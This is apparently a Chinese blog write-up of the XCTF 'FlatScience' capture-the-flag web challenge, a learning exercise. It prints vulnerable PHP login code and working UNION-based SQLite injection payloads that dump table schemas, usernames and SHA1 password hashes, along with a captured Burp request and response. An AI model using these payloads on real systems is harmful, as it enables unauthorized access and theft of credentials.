

XCTF Web 记录 (FlatScience)

原创

[\[已注销\]](#) 于 2021-03-08 15:43:20 发布 40 收藏 1

分类专栏: [CTF](#) 文章标签: [安全](#) [sqlite3](#) [php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_45742511/article/details/114532122

版权



[CTF 专栏收录该内容](#)

14 篇文章 0 订阅

订阅专栏

前言

今天开始每日一题, 周末不更。

FlatScience

进来以后, 一串英文, 翻译:

最佳论文

嘿! 欢迎来到我的 (部分未完成) oldskool 网站!

我是 Flux Horst 教授。。“啊,” 努夫说-你应该了解我!

这是我迄今为止写的一些著名论文。

也许你自己去看看?!

试试这个或者这个或者到这里来

然后三个可以点击的位置, 进去后时 pdf 文件, 查看页面源码也没什么有用的。

查看 robots.txt 看看有没有信息:

```
User-agent: *
Disallow: /login.php
Disallow: /admin.php
```

啊, 进去看看。

login.php:

Login

Login Page, do not try to hax here plox!

ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_45742511

admin.php:

Admin-Panel

ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

https://blog.csdn.net/qq_45742511

这里admin页面直接就有admin的ID，尝试弱口令，没用。

查看源码，给了条信息：

```
19
20 <h1>Admin-Panel</h1>
21
22 <!-- do not even try to bypass this -->
23 <form method="post">
24   ID:<br>
25   <input type="text" name="usr" value="admin">
26   <br><br>
27   Password:<br>
```

https://blog.csdn.net/qq_45742511

啥意思呢：

不要试图绕过这个

相当于给了个思路，尝试获得admin的密码。

既然这个页面有提示，login页面有没有呢？

```
34 <input type="submit" value="Submit">
35 </form>
36
37 <!-- TODO: Remove ?debug-Parameter! -->
38
39
40
41
```

意思是给一个debug变量参数，给他，得到了源码：

```
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    $user = $_POST['usr'];
    $pass = $_POST['pw'];

    $db = new SQLite3('../fancy.db');

    $res = $db->query("SELECT id,name from Users where name='".$user.'" and password='".sha1($pass."Salz!")."");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occurred!";
    }

    if(isset($row['id'])){
        setcookie('name',' '.$row['name'], time() + 60, '/');
        header("Location: /");
        die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
```

这。。。sql注入么。（user存在sql注入，而且闭合方式为'，这里password被sha1加密，并且拼接了Salz!）

这里还要注意的是数据库为SQLite，注入方式与MySQL不同。

但是还是很好理解的。

[sqlite数据库注入](#)

那，开始注入：

判断回显位置:

```
usr=1' union select 1,2,3 --&pw=
```

报错:

Login Page, do not try to hax here plox!

ID:

Password:

Submit

Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /var/www/html/login.php on line 47

https://blog.csdn.net/qq_45742511

列数不同，一般都是用相对多一点的列数测试，然后递减，最后发现:

请求

```
Raw 参数 头 Hex
POST /login.php?debug=1 HTTP/1.1
Host: 111.200.241.244:47503
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://111.200.241.244:47503
Connection: close
Referer: http://111.200.241.244:47503/login.php?debug=1
Upgrade-Insecure-Requests: 1

usr=1' union select 1,2|--&pw=
```

响应

```
Raw 头 Hex HTML Render
HTTP/1.1 302 Found
Date: Mon, 08 Mar 2021 07:28:19 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.30
Set-Cookie: name=+2; expires=Mon, 08-Mar-2021 07:29:19 GMT; Max-Age=60; path=/
Location:
Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #e0e0e0; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
```

回显位置在set-cookie，为什么在这里回显呢？

审计一下源码，不说了。

这里找到了回显位置，那么久正式开始:

先查询有哪些表:

```
usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=
// Users
```

通过创建这个表的sql语句来得知这个表的结构:

```
usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=
```

这里使用burpsuite进行重放，得到的数据使用了url编码，所以解码（其实也就是符号进行了编码，看着别扭）。

```
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
```

```
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
```

https://blog.csdn.net/qg_45742511

得到了4个字段: id、name、password、hint。

依次查询这四个字段:

```
usr=1' union select 1,group_concat(id) from Users--&pw=
```

```
usr=1' union select 1,group_concat(name) from Users--&pw=
```

```
usr=1' union select 1,group_concat(password) from Users--&pw=
```

```
usr=1' union select 1,group_concat(hint) from Users--&pw=
```

最后结果为:

id	name	password	hint
1	admin	3fab54a50e770d830c0416df817567662a9dc85c	my fav word in my fav paper?!
2	fritze	54eae8935c90f467427f05e4ece82cf569f89507	my love is...?
3	hansi	34b0bb7c304949f9ff2fc101eef0f048be10d3bd	the password is password

https://blog.csdn.net/qg_45742511

我们一直admin用户存在, 现在又知道了sha1加密后的密码, 尝试解密:

```
ThinJerboaSalz!  
密码就是ThinJerboa
```

登录, 获得flag。

但是, 这貌似是非预期解。

预期解, 不记录了 (因为不会)。

参考: [攻防世界-Web高手进阶区-FlatScience](#)

师傅们tql!!!

总结

在主页面无果情况下，扫描目录，或者查看robots.txt，找有用信息。

学到了sqlite的注入。